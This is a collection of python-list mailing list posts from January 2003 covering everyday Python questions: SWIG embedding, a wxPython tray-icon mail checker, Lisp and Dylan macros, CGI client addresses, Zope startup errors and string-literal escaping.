Message-ID: <i02p1vkdio5uvmfrj84koeoe1mr2ibb3jk@4ax.com>

On Tue, 07 Jan 2003 19:33:30 GMT, Carl Banks <imbosol at vt.edu> wrote:

>Robert Oschler wrote:
>> I can't look at dice.com anymore, too depressing.  Some appx stats:
>> 
>> Date    C++ jobs    Java jobs
>> 
>> 3/2000    42000    31000
>> 10/2003    2200    2800
>> 
>> That's right, almost a 20 to 1 loss of job reqs in C++, and 10 to 1 in Java.
>> Also note, Java is now in the lead over C++
>> 
>> I hate the dot-bust.
>
>
>I don't know if I trust a website that believes C and C++ are the same
>langauge, which this site appears to do.


There is no end to the stupidity of recruiters/headhunters/incopetent
IT managers.  How many times have you seen an advertisement for PEARL?
I had a manager once who insisted that strict.pm was useless "cause it
breaks all my programs."

Sheesh!



From tim.one at comcast.net  Wed Jan 15 19:24:10 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 15 Jan 2003 19:24:10 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <3E250FD5.7020501@rogers.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCELHDIAB.tim.one@comcast.net>

[Mike C. Fletcher]
> Before anyone gets hurt ;) .  My question was actually just "who holds
> the copyright" :) .  I have enough on Tim (less on Mark, but he gave his
> copyright away, so I'm safe there ;) ) that I feel pretty safe from any
> PSF pogroms should they emerge :) .

That's why I'm making a motion to transfer copyright on these files to Eric.
You can ask him for written assurances then <wink>.





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Sun Jan 26 19:25:43 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Mon, 27 Jan 2003 01:25:43 +0100
Subject: Why does int(5.0) returns 0
In-Reply-To: <mailman.1043625287.22336.python-list@python.org>
References: <mailman.1043625287.22336.python-list@python.org>
Message-ID: <3e347c87$0$49100$e4fe514c@news.xs4all.nl>

Samir Patel wrote:
> Here is verbose output of program: print int(5.0)
> 
> It outputs 0

No, it doesn't.

Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print int(5.0)
5

You must have made some kind of typo?
Otherwise your Python installation is seriously broken.

Irmen




From jtlis at pf.NOSPAM.pl  Wed Jan 15 09:46:05 2003
From: jtlis at pf.NOSPAM.pl (Tomasz Lisowski)
Date: Wed, 15 Jan 2003 15:46:05 +0100
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com>
Message-ID: <b03s4p$80p$1@news.tpi.pl>

Uzytkownik "Boethius" <boethius at techie.com> napisal w wiadomosci
news:67446a0a.0301150634.f6d0c43 at posting.google.com...
> Can I detect when a class member is added or updated?
>
> I have a class with a member called path. Everytime it's updated, I'd
> like to run a 'sanity check' on the new value.
>

Declare a method, that will update the member, and perform the sanity check.
The member itself could be made private (leading underscores), so that the
only method accessing the member is the one, that performs also the check.

Tomasz Lisowski





From vecernik at aon.at  Mon Jan 27 06:03:58 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Mon, 27 Jan 2003 12:03:58 +0100
Subject: imaging lib
References: <3E34F736.5EEE2CA@gol.ge>
Message-ID: <3E35121E.8050208@aon.at>

Giorgi Lekishvili schrieb:
> Hi!
> As of my knowledge, de facto imaging library is PIL.
> Are there some other more advanced libs? With, say, PDF support?

Take a look at:

http://www.reportlab.com

HTH
Oliver




From mhammond at skippinet.com.au  Tue Jan 14 17:47:27 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Tue, 14 Jan 2003 22:47:27 GMT
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <mailman.1042488171.6529.python-list@python.org>
References: <mailman.1042488171.6529.python-list@python.org>
Message-ID: <3s0V9.12202$UB4.56447@news-server.bigpond.net.au>

Tim Peters wrote:
> [Mike C. Fletcher]
> 
>>Anyone know who owns copyright on the two icons distributed with
>>PythonLabs Python?  (That is, python.ico and pycon.ico).
> 
> 
> The Python Software Foundation holds copyright.
> 
> 
>>I'd like to include them in an icon collection I'm building for use by
>>Python IDEs, but want to be sure that's okay with the author.
> 
> 
> Speaking as a director of the PSF, IMO that use is fine.  I'm not sure that
> means more than that I'd feel bad if I voted to sue you anyway, but that's
> better than nothing <wink>.  If that's not good enough, I believe the .ico
> files orginally came from Mark Hammond.

They did, and the PSF indeed holds copyright.

Mark.




From Padraig at Linux.ie  Fri Jan 31 08:14:43 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Fri, 31 Jan 2003 13:14:43 +0000
Subject: A puzzle for Pythonistas
In-Reply-To: <b68f71a7.0301310459.31539d3c@posting.google.com>
References: <b68f71a7.0301310459.31539d3c@posting.google.com>
Message-ID: <3E3A76C3.1010503@Linux.ie>

Alan James Salmoni wrote:
> Hi folks,
> 
> This is just a little puzzle to test your brains on - well, I should
> come clean really, so what I need to do is work out a way to get all
> the interactions from 2 or more variables for SalStat a small
> statistics package, but to be honest, I am rather stuck on this bit.
> 
> The problem is defined like this: I have a list of unique integers,
> and the list is of arbitrary length, though 2 elements is the minimum.
> Using each integer only once, what are the possible combinations of 2
> or more elements that can be derived from this list. I know how to
> work out how many combinations there are: ((2**len(list))-1-len(list))
> which is quite simple.
> 
> To illustrate:
> 
> If list = [1,2,3], then there are 4 possible combination: 1-2, 1-3,
> 2-3, and 1-2-3.
> If list = [1,2,3,4] then there are 11 possible combinations: 1-2, 1-3,
> 1-4, 2-3, 2-4, 3-4, 1-2-3, 1-2-4, 1-3-4, 2-3-4, and 1-2-3-4.
> 
> All my ideas so far rely on brute force, and I was wondering if anyone
> could think of an elegant and pythonic way of achieving the required
> result.
> 
> I have a nasty feeling that the code may be complex, so feel free to
> tell me to s0d off if you want! :)
> 
> Alan James Salmoni
> SalStat Statistics
> http://salstat.sunsite.dk

import sys

def printList(alist):
     print ''.join(alist)

def printUniqueCombinations(alist, numb, blist=[]):
     if not numb: return printList(blist)
     for i in range(len(alist)):
         blist.append(alist[i])
         printUniqueCombinations(alist[i+1:], numb-1, blist)
         blist.pop()

if __name__ == '__main__':
     k=sys.argv[1]
     for i in range(len(list(k))):
         printUniqueCombinations(list(k), i+2)


P?draig.




From dragonscraft at yahoo.it  Tue Jan  7 08:29:48 2003
From: dragonscraft at yahoo.it (Stan)
Date: 7 Jan 2003 05:29:48 -0800
Subject: Numeric array and for loops problem
References: <c5598079.0301060856.4012672b@posting.google.com> <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com>
Message-ID: <c5598079.0301070529.7a15d75f@posting.google.com>

Hi! hehehe thank you very much ! converting val to float solve the
problem, but i was wondering how to increment the two variable (x,y)
after use

 worldarray[x,y] = val
 x += 1
 y += 1/2
Doesn't work.. i'm sorry for this stupid question but i'm quite new to
programming

What do u mean with?
> 
> Should you use wx,wy to match x,y below?
> 
thanks again

Stan



From cgjunkaddr at attbi.com  Thu Jan 30 01:42:04 2003
From: cgjunkaddr at attbi.com (Chetan Gadgil)
Date: Thu, 30 Jan 2003 06:42:04 GMT
Subject: Updated(new features): KOBRA - .NET for Python
Message-ID: <0P3_9.86227$VU6.50724@rwcrnsc52.ops.asp.att.net>

New feature:
1) The "dir" method will show up methods on the .NET object in python

What this means is that you can now use the autocompletion from Pythonwin,
for example, when using kobra.

Current limitation is that only objects created with the "createObject"
method have their dictionaries updated.

A workaround is that you can call "kobralib.fillMyDict(obj)" from outside.
However, this needs to be made automatic, and I am a bit busy for a few
days, to update/debug this. Till then please use the workaround if needed.


A few comments based on some private emails I received at
cgjunkaddr at attbi.com.

Some people are seemingly under the impression that the .NET framework needs
to be purchased from Microsoft.

The Visual Studio.NET toolkit is sold my MS but the Framework is needed for
running all apps. In fact, the framework can be freely downloaded from MS
at:

Redistributable:
http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?ur
l=/msdn-files/027/001/829/msdncompositedoc.xml

If you want to develop in .NET languages C#, VB etc. you need to get the SDK
from:

http://msdn.microsoft.com/downloads/default.asp?url=/downloads/sample.asp?ur
l=/msdn-files/027/000/976/msdncompositedoc.xml&frame=true



So, basically, equipped with a Python IDE like the great PythonWin or
"idle", you can do .NET development in Python.

Check out my page at:

Check out http://www.gadgil.net/DotNetWrapperForPython.htm for updated docs.

There was a small glitch in a previous .py file. (Incidentally, the modules
are installed under lib/site-packages)
I have posted the fix and the new feature.

http://www.gadgil.net/files/kobralib-1.4.win32.exe


Regards
Chetan Gadgil





From lac at strakt.com  Tue Jan 28 19:28:19 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 01:28:19 +0100
Subject: Python vs. C++ Builder - speed of development 
In-Reply-To: Message from John Ochiltree <johnochiltree@blueyonder.co.uk> 
   of "Tue, 28 Jan 2003 22:03:31 GMT." <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> 
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> 
Message-ID: <200301290028.h0T0SJjL023634@ratthing-b246.strakt.com>

> I find that if I'm working in python I concentrate more on solutions to 
> problems, whereas with c++ I tend to concentrate more on structure and 
> architecture. However, that's not to say that my thinking is any more 
> abstract in either language.
> 
> I wonder if there's a way of measuring what language encourages which way of 
> thinking?
> 
> John Ochiltree
> -- 
> http://mail.python.org/mailman/listinfo/python-list

When I was working for the Canadian military, we got people working
on problems and then stuck them in machines which measured blood flow
in different regions of the brain.  Neither python nor C++ were
invented then, but C and Lisp were.

Statistically, C problem solvers were way more active in the
language-processing-and symbol-manipulation areas of the brain then
they were in the parts of the brain associated with imagery, drawing,
and conceptualising.  Lisp problem solvers were more balanced.

Certain individuals bucked the trend, however.  Whether blood flow
actually measures 'something is going on' as opposed to 'something is
being attempted' was hotly debated at the time (mid 1980s).

Laura Creighton




From bruce at hoult.org  Wed Jan  1 03:48:58 2003
From: bruce at hoult.org (Bruce Hoult)
Date: Wed, 01 Jan 2003 21:48:58 +1300
Subject: No macros in Python
References: <c42e062e.0212132052.58a992f7@posting.google.com> <3dfb28a5@news.vip.fi> <x7u1hgiq6t.fsf@guru.mired.org> <3DFCDAB5.5FBA7730@engcorp.com> <x78yyqiwle.fsf@guru.mired.org>
Message-ID: <bruce-1AE1BF.21485801012003@copper.ipg.tsnz.net>

In article <x78yyqiwle.fsf at guru.mired.org>, Mike Meyer <mwm at mired.org> 
wrote:

> Peter Hansen <peter at engcorp.com> writes:
> > Mike Meyer wrote:
> > > 
> > > Python doesn't have macros. On the other hand, looking at the world
> > > through OO glasses rather than S-expression glasses means you don't
> > > need macros as often. But the topic comes up at irregular intervals,
> > > so someone may eventually come up with a way of doing macros in Python
> > > that is right - at which point it'll be added.
> > In what way would macros (as I understand them... from C for example)
> > improve Python, other than possibly a small improvement in performance?
> 
> C macros are a very poor example of the species. I was referring to
> lisp-like macros, where you get the full functionality of the language
> to manipulate the code that the macro is dealing with.

That's pretty cool, and the most flexible it's possibel to get, but I 
think it's overkill for most cases, and not always the easiest to write 
or to understand.


> This works particularly well in lisp, where the code is handed to the
> macro preparsed and stored in one of the fundamental data structures
> of the language. That makes writing macros easier. Since all code is
> written in that data structure, they also fit naturally into the
> language when they are invoked.

True.


> Any macro facility added to python has to deal with both these
> problems. There needs to be some way to avoid the macro author having
> to write a python parser to manipulate the code, and some way for them
> to be invoked that fits well with the language.

You should take a look at macros in Dylan.  You can implement pretty 
much every macro in _On Lisp_, in a language with conventional syntax.  
And you don't have to write a parser!  Dylan macros work by pattern 
matching and replacement on token sequences.

 
> As for what this lets you do, the answer is "lots of things". Much of
> what is part of the syntax of Python can be implemented as macros in
> lisp - short-circuit boolean operators come readily to mind.

In the Dylan standard library:

define macro \&
    { \& (?left:expression, ?right:expression) }
      => { if (?left) ?right end }
end;

define macro \|
    { \| (?left:expression, ?right:expression) }
      => { let temp = ?left; if (temp) temp else ?right end }
end;

| and & are infix operators in Dylan, so to talk about them as functions 
(or to define them) you need to refer to them as \| and \&.


> For a programmatic example, there's the ever-popular 
> "with-io-redirection" macro family. A proper macro facility in python 
> should let me write:
> 
>         with_output_to_file "filename":
>             code that will be executed
>             with print statement output
>             going into filename
>         code that will have
>         print statement output
>         going to where ever it was
>         going before the macro

In Dylan this might be implemented like:

define macro with-output-to-file
  {
    with-output-to-file (?stream:variable = ?filename:expression)
      ?:body
    end
  }
 => {
      let temp-stream = #f;
      let saved-stream = ?stream;
      block ()
        temp-stream :=
           make(<file-stream>, locator: ?filename,
                direction: #"output");
        let ?stream = temp-stream;
        ?body;
      cleanup
        if (temp-stream)
          close(temp-stream);
        end if;
        ?stream := saved-stream;
      end block
    }
end macro with-output-to-file;


... and used as ...

        with-output-to-file (*standard-output* = "filename")
            code that will be executed
            with print statement output
            going into filename
        end;
        code that will have
        print statement output
        going to where ever it was
        going before the macro



> Which brings up the primary argument people have against macros. By
> changing the syntax of the language, they make it impossible to
> understand a program by local examination. You have to know what
> macros are in scope and thus might change the programs behavior. Then
> again, the ability to redefine operators does much the same
> thing.

So do:

 - the ability to define functions
 - the ability to assign new values to existing variables


> Which is why I don't buy the "they'll never be added because
> they are inherently evil" argument. The two are equally evil, for the
> same reasons. We've got one. Why not the other?

Yep.

-- Bruce



From jiba at tuxfamily.org  Sat Jan 11 12:18:43 2003
From: jiba at tuxfamily.org (Jiba)
Date: Sat, 11 Jan 2003 18:18:43 +0100
Subject: [ANN] 3D game in Python!
Message-ID: <20030111181843.2c7c52aa.jiba@tuxfamily.org>

Hi every one!

Slune is a 3D racing and action game in Python. It currently runs only under Linux and is available under the GPL.

See http://oomadness.tuxfamily.org/en/slune for screenchots or download the 0.1 release!

The game itself and the network engine are fully written in Python. The 3D engine is in C and Python too.

Enjoy!

Jiba



From carl_bevil at yahoo.com  Fri Jan 24 21:12:30 2003
From: carl_bevil at yahoo.com (Carl Bevil)
Date: Fri, 24 Jan 2003 18:12:30 -0800
Subject: Using SWIG to build Python extensions -- help!
References: <CFN376455138856829@news.mindspring.com>
Message-ID: <CFN376457586869907@news.mindspring.com>

Well, I'm embarrassed to say it, but I think I know where my problem lies.  If 
anyone's interested, read on.  And feel free to correct me if I'm 
misunderstanding anything.  :-)

Basically, SWIG creates the wrapper file in C/C++, but the high-level module 
code lies in the .py file.  So the module in the C/C++ file gets an underscore 
prepended to its name, and you have to manually import the .py file to use it 
without the underscore.

I was able to adjust the entry in my import init table to use "_swigtest" as 
the module name, and then I could import the module and call the test function 
like I want to ("import _swigtest",  "_swigtest.function()").

In this simple test, the above hack works OK.  But it is a hack, and I'm not 
sure if it will work with more complicated examples, such as C++ classes, 
templates, etc...  I'll do some more tests soon, but even if all the tests 
come out positive I'll still have doubts.

So I'm going to look into boost.python (as some people have suggested to me 
privately).  But I'd prefer to use SWIG and be able to automate everything.  
I'm trying to convince the rest of my team that using Python will make our 
lives easier, and if I tell them they have to code wrappers (even using a tool 
that makes it easier, like boost.python) I'm not sure how they'll react.

As always, if anyone has any suggestions, feel free to contact me here or in 
e-mail (carl_bevil at yahoo.com).

Thanks for your patience,

Carl  (A Python newbie)

On Fri, 24 Jan 2003 12:19:59 -0800 Carl Bevil <carl_bevil at yahoo.com> wrote:

> Hello all.  I'm experimenting with using SWIG to build a Python extension.  
I 
> have a really simple C++ file that I'd like to extend Python with as a test.
> 
> I'm building the interpreter as a library that I statically link into my 
main 
> application.  Dynamic linking is not an option for my target platform, so 
I've 
> downloaded the Python source code.  I'm using Python 2.1.3.
> 
> I create two files, swigtest.cpp and swigtest.h.  swigtest.h has a function 
> prototype, and swigtest.cpp has the function body.
> 
> Then I run SWIG:
> 
> swig -python -c++ -module swigtest swigtest.h
> 
> This builds two files: swigtest.py and swigtest_wrap.cxx.  I rename the 
latter 
> to swigtest.cpp, as the compiler I'm using (Metrowerks) doesn't like .cxx 
files.
> 
> Then I compile and link swigtest_wrap.cpp and swigtest.cpp into the python 
> interpreter, creating a python21_d.lib file (I'm on Windows).
> 
> Then I build my main application (a C++ app), and link it statically with 
the 
> python interpreter library that I just built.
> 
> When I run, I execute the following statement:
> 
> PyRun_SimpleString("import swigtest");
> 
> ... and I get an error that there is no module named swigtest.
> 
> What am I doing wrong here?  And do I need to do anything with the 
swigtest.py 
> file that SWIG creates? I've read the chapter in O'Reilly's Programming 
Python 
> on extending Python, but it makes no mention of SWIG generating a .py file.  
> And all of its examples are dynamically linked.
> 
> Thanks!
> 
> Carl
> 



From ark at gmx.net  Fri Jan 10 11:39:45 2003
From: ark at gmx.net (Arne Koewing)
Date: Fri, 10 Jan 2003 17:39:45 +0100
Subject: Urgent. ImportError: No module named _socket
References: <mailman.1042199001.17459.python-list@python.org>
Message-ID: <avmuna$nd6@news.Informatik.Uni-Oldenburg.DE>

"Manos Papagelis" <papaggel at ics.forth.gr> writes:

>
> When trying to import socket module an importError is occured as follows.
>
> ~
>
> ~~~ ImportError: No module named _socket
>

the socket module is just a wrapper module for the _socket module 
which is written in c. Perhaps you didn't compile it?




From gerhard.haering at opus-gmbh.net  Wed Jan 22 08:00:43 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 13:00:43 GMT
Subject: tray icon in Windows
References: <xIvX9.64229$0v.1962573@news1.tin.it>
Message-ID: <slrnb2t5eu.14o.gerhard.haering@haering.opus-gmbh.net>

fama1979 <fama1979 at email.it> wrote:

> I'm sorry if i'm newbie,
> how can i have a icon to the trayicon (near timeclock) of windows?

You can use wxPython to do that. Or, alternatively, you can use the win32api
module from win32all (but doing it the win32api way is a major pain in the
ass).

wxPython less so ;-)

Here's some rough code for a biff-like IMAP mail checker I've once written
using wxPython (I mainly adapted the notify icon stuff from the wxPython demo):

This is not the easiest problem to solve, espeically for a newbie.

HTH,

Gerhard

Ugly code follows:

#!/bin/env python
import sys, os, time, imaplib
from   wxPython.wx import *
import images

NOMAIL = 0
GOTMAIL = 1

class MainWindow(wxFrame):
    def __init__(self, parent, id, title):
        wxFrame.__init__(self, parent, -1, title, size = (800, 600),
                         style=wxDEFAULT_FRAME_STYLE|wxNO_FULL_REPAINT_ON_RESIZE) #|wxFRAME_NO_TASKBAR )

        #icon = wxIconFromXPMData(images.getMondrianData())
        #self.SetIcon(icon)

        # setup a taskbar icon, and catch some events from it
        icon = wxIcon("normal.ico", wxBITMAP_TYPE_ICO)
        self.tbicon = wxTaskBarIcon()
        self.tbicon.SetIcon(icon, "Mailwatcher")
        EVT_TASKBAR_LEFT_DCLICK(self.tbicon, self.OnTaskBarActivate)
        EVT_TASKBAR_RIGHT_UP(self.tbicon, self.OnTaskBarMenu)
        EVT_MENU(self.tbicon, self.TBMENU_SHOW, self.OnTaskBarActivate)
        EVT_MENU(self.tbicon, self.TBMENU_HIDE, self.OnTaskBarHide)
        EVT_MENU(self.tbicon, self.TBMENU_CLOSE, self.OnTaskBarClose)
        ID_Start = wxNewId()
        self.b = wxButton(self, ID_Start, ' Panel A ')
        ID_TIMER = wxNewId()
        self.timer = wxTimer(self, ID_TIMER)
        EVT_TIMER(self, ID_TIMER, self.OnTimer)

        EVT_BUTTON(self, ID_Start, self.OnStart)
        self.timer.Start(5000)
        
        self.status = NOMAIL
        
        self.imap = imaplib.IMAP4("myhost")
        self.imap.login("myuser", "mypass")
        self.imap.select()

        self.Show(false)

    def OnStart(self, event):
        pass
        #wxBell()

    def GotMail(self):
        if self.status != GOTMAIL:
            icon = wxIcon("gotmail.ico", wxBITMAP_TYPE_ICO)

            self.tbicon.SetIcon(icon, "Mailwatcher - Got Mail")
            self.status = GOTMAIL
            wxBell()

    def SetNormal(self):
        if self.status != NOMAIL:
            icon = wxIcon("normal.ico", wxBITMAP_TYPE_ICO)
            self.tbicon.SetIcon(icon, "Mailwatcher - No Mail")
            self.status = NOMAIL
    
    def CheckMail(self):
        typ, data = self.imap.search(None, '(UNSEEN UNDELETED)')
        if len(data[0].split()) > 0:
            # New mail - let's filter first
            os.spawnl(os.P_WAIT, r'D:\cygwin\bin\bash.exe',
                r'D:\cygwin\bin\bash.exe', '--login -c "cd /home/Gerhard.Haering/src/imapfilter; ./imapfilter.py"')

        self.imap.expunge()
        typ, data = self.imap.search(None, '(ALL)')
        size = len(data[0].split())

        return size > 0

    def OnTimer(self, event):
        if self.CheckMail():
            self.GotMail()
        else:
            self.SetNormal()
        wxGetApp().ProcessIdle()
    
    def OnCloseWindow(self, event):
        self.dying = true
        self.window = None
        self.mainmenu = None
        if hasattr(self, "tbicon"):
            del self.tbicon
        self.Destroy()


    def OnTaskBarActivate(self, evt):
        #if self.IsIconized():
        #    self.Iconize(false)
        #if not self.IsShown():
        #    self.Show(true)
        os.startfile(r'mutt.lnk')
        self.SetNormal()
        wxGetApp().ProcessIdle()
        #self.Raise()

    TBMENU_SHOW = 1000
    TBMENU_HIDE = 1001
    TBMENU_CLOSE = 1002

    def OnTaskBarMenu(self, evt):
        menu = wxMenu()
        #menu.Append(self.TBMENU_HIDE, "&Hide Mailwatcher")
        #menu.Append(self.TBMENU_SHOW, "&Show Mailwatcher")
        menu.Append(self.TBMENU_CLOSE,   "&Close")
        self.tbicon.PopupMenu(menu)
        menu.Destroy()
        wxGetApp().ProcessIdle()

    def OnTaskBarClose(self, evt):
        self.Close()

        # because of the way wxTaskBarIcon.PopupMenu is implemented we have to
        # prod the main idle handler a bit to get the window to actually close
        wxGetApp().ProcessIdle()

    def OnTaskBarHide(self, evt):
        self.Show(False)

        # because of the way wxTaskBarIcon.PopupMenu is implemented we have to
        # prod the main idle handler a bit to get the window to actually close
        wxGetApp().ProcessIdle()

    def OnIconfiy(self, evt):
        self.Show(false)
        evt.Skip()

    def OnMaximize(self, evt):
        evt.Skip()

class MyApp(wxApp):
    def OnInit(self):
        wxInitAllImageHandlers()
        frame = MainWindow(None, -1, "Mailwatcher")
        #frame.Show(true)
        #self.SetTopWindow(frame)

        return true

def main():
    app = MyApp(0)
    app.MainLoop()

if __name__ == '__main__':
    main()




From exarkun at intarweb.us  Tue Jan 21 11:09:16 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Tue, 21 Jan 2003 11:09:16 -0500
Subject: max() of a list of tuples
In-Reply-To: <3e2d27c6$1_1@news.uni-bielefeld.de>
References: <3e2d27c6$1_1@news.uni-bielefeld.de>
Message-ID: <20030121160916.GA31577@meson.dyndns.org>

On Tue, Jan 21, 2003 at 11:58:14AM +0200, Mario Wehbrink wrote:
> Hi,
> 
> i have a list of tuples that look like:
> [(1,3,5), (8,16,2), (2,56,4)]
> 
> what i am interested, in is the tuple with the greatest value in pos 3.
> So in this case it would be (1,3,5). Is there a way to tell
> max(mylistoftuples) to only look at the last position of the tuples?
> 

  Here's another way:

    L = [(1,3,5), (8,16,2), (2,56,4)]
    s = L[:]
    s.sort(lambda x, y: cmp(x[2], y[2]))
    print s[-1]

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
--
 12:00am up 36 days, 9:48, 4 users, load average: 0.10, 0.14, 0.14
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/0a9c6c52/attachment.sig>

From tutal at msn.com  Fri Jan 31 21:49:18 2003
From: tutal at msn.com (mlorfeld)
Date: 31 Jan 2003 18:49:18 -0800
Subject: Zope error
Message-ID: <74977d59.0301311849.16917cb8@posting.google.com>

I'm at wits end trying to find out why this is not working.  I get the
following error when running ./start &

2003-01-31T20:43:11 PANIC(300) z2 Startup exception
Traceback (innermost last):
  Module __main__, line 649, in ?
  Module ZServer.HTTPServer, line 362, in __init__
  Module ZServer.medusa.http_server, line 573, in __init__
  Module ZServer.medusa.asyncore, line 306, in bind
error: (13, 'Permission denied')


Info on my setup:

'zope' is the user and group that runs Zope.
I have set the z2.py to run HTTP on port 80 and FTP on port 23.

Any ideas?  

AIM = tuutaal
email = t u t a l [ a t ] m s n [ p o i n t ] c o m  <-spam bot
blocker



From martin at v.loewis.de  Sun Jan  5 05:05:55 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 05 Jan 2003 11:05:55 +0100
Subject: CGI - client information
References: <cf0ad9fb.0301050153.6852da96@posting.google.com>
Message-ID: <m3ptrbq5bw.fsf@mira.informatik.hu-berlin.de>

jolsen at mailme.dk (Jesper Olsen) writes:

> Is it possible from a python cgi script to query the web server
> about the IP address of the client that is calling the script?

It is not possible to perform queries to the Web server in a CGI
script. The server provides a set of information, and invokes the
script. The script then has no bidirectional channel to the server.

> E.g. the web server could provide this info in an environment
> variable.

You should read the CGI spec. REMOTE_ADDR might do what you want.

Regards,
Martin



From mcfletch at rogers.com  Mon Jan 13 04:20:21 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Mon, 13 Jan 2003 04:20:21 -0500
Subject: Copyright on the Python and Python-console icons?
Message-ID: <3E2284D5.2040106@rogers.com>

Anyone know who owns copyright on the two icons distributed with 
PythonLabs Python?  (That is, python.ico and pycon.ico).  I'd like to 
include them in an icon collection I'm building for use by Python IDEs, 
but want to be sure that's okay with the author.

Enjoy,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From tim.one at comcast.net  Thu Jan 16 11:22:33 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 16 Jan 2003 11:22:33 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <b06a94$70s$0@216.39.172.122>
Message-ID: <BIEJKCLHCIOIHAGOKOLHMEKNEIAA.tim.one@comcast.net>

[Tim]
> Whether any entity in the US apart from the government can
> meaningfully put something in the public domain appears to have the legal
> answer "no", according to one US lawyer who researched the issue.
> Businesses and individuals supposedly can't disclaim copyright (the
> meaning of "public domain" -- nobody holds copyright) even if they want
to.

[Bengt Richter]
> I must confess to some confusion squaring this with the advice in PEP 001:
> ( http://www.python.org/peps/pep-0001.html )
>
> """
>     3. Copyright/public domain -- Each PEP must either be explicitly
>           labelled as placed in the public domain (see this PEP as an
>           example) or licensed under the Open Publication License[4].
> """
>
> and the notice at the bottom of PEP 001:
>
> """
> Copyright
>
>        This document has been placed in the public domain.
> """
>
> Is the issue that "placing something in the public domain" should not
> include a recursive deletion of the right to do so ;-)

It doesn't matter much to the process whether or not a copyright disclaimer
is legally sound -- the primary point of such pronouncements is to give
readers a clear declaration of the author's *intent*.  If a region's law
doesn't actually allow that intent to be realized, too bad, but it's of no
consequence unless it winds up in court.  Readers know what the author
intended regardless.  Paranoid authors are free to license their PEP under
the OPL instead, and paranoid PEP modifiers are free to run away from PEPs
that aren't under the OPL.  None of this matters to anyone in real life, of
course.





From hwlgw at hotmail.com  Wed Jan 15 13:24:33 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 10:24:33 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com> <7xr8bekcfc.fsf@ruckus.brouhaha.com> <3E252A3F.EDED1438@alcyone.com>
Message-ID: <cb035744.0301151024.54b05668@posting.google.com>

[Erik Max Francis]
> Paul Rubin wrote:
> 
> > You can't count on the remote host staying the same between http hits,
> > even from the same client, because some proxy servers can switch IP
> > addresses out from under you beteen hits.  That happens with AOL
> > users, for example.
> 
> In my experience this hasn't really been a problem.  Maybe you'll have
> different experience.

Thank you too for your comments EMF.

IP # switches?  That would present the user with the login screen and
perhaps I can also figure out a way to tell them what happened
politely.  So they will know and find a better ISP.



From bokr at oz.net  Sun Jan 26 15:20:30 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 20:20:30 GMT
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <Pine.GSO.4.44_heb2.09.0301261518360.23499-100000@techunix.technion.ac.il>
Message-ID: <b11fue$vbs$0@216.39.172.122>

On Sun, 26 Jan 2003 15:26:42 +0200, Beni Cherniavsky <cben at techunix.technion.ac.il> wrote:

>On 2003-01-24, LJ & MT Lareau wrote:
>
>> Is it possible to have Python produce the following literal output in the
>> interactive mode.
>> '"Let's try this!", they said.'
>> If so what is the Python statement.  I've tried several ways
>> and can't seem to produce it.  Thanks for the help.
>>
>Instead of printing, you can just use the fact that a string literal (as
>any expression) typed at the interactive prompt will print its repr.
>This is very simple and almost gets there:
>
>>>> '"Let\'s try this!", they said.'
>'"Let\'s try this!", they said.'
>
>Now let's do something the other replies didn't <wink>: create a class.
>
>>>> class rawstr(str):
>...   def __repr__(self):  # Yes, I know unevalable reprs are bad.
>...     return str.__repr__(self).replace('\\','')
>...
>>>> rawstr('"Let\'s try this!", they said.')
>'"Let's try this!", they said.'
>
>Just-my-`float("""0"""''"""."""''"""0"""''"""2""")`-shekels-ly y'rs,
>    Beni Cherniavsky <cben at tx.technion.ac.il>
>

Try this with that:

 >>> print r"""
 ...
 ... >>> rawstr('"Let\'s try this!", they said.')
 ... '"Let's try this!", they said.'
 ...
 ... """[2:-2]
 >>> rawstr('"Let\'s try this!", they said.')
 '"Let's try this!", they said.'
 >>>

I.e.,

 >>> rawstr(r"""
 ...
 ... >>>> rawstr('"Let\'s try this!", they said.')
 ... >'"Let's try this!", they said.'
 ...
 ... """[2:-2])
 '>>>> rawstr('"Let's try this!", they said.')n>'"Let's try this!", they said.''
 >>>

Reminds me of old threads on the quest for a wartless (i.e., can quote any sequence
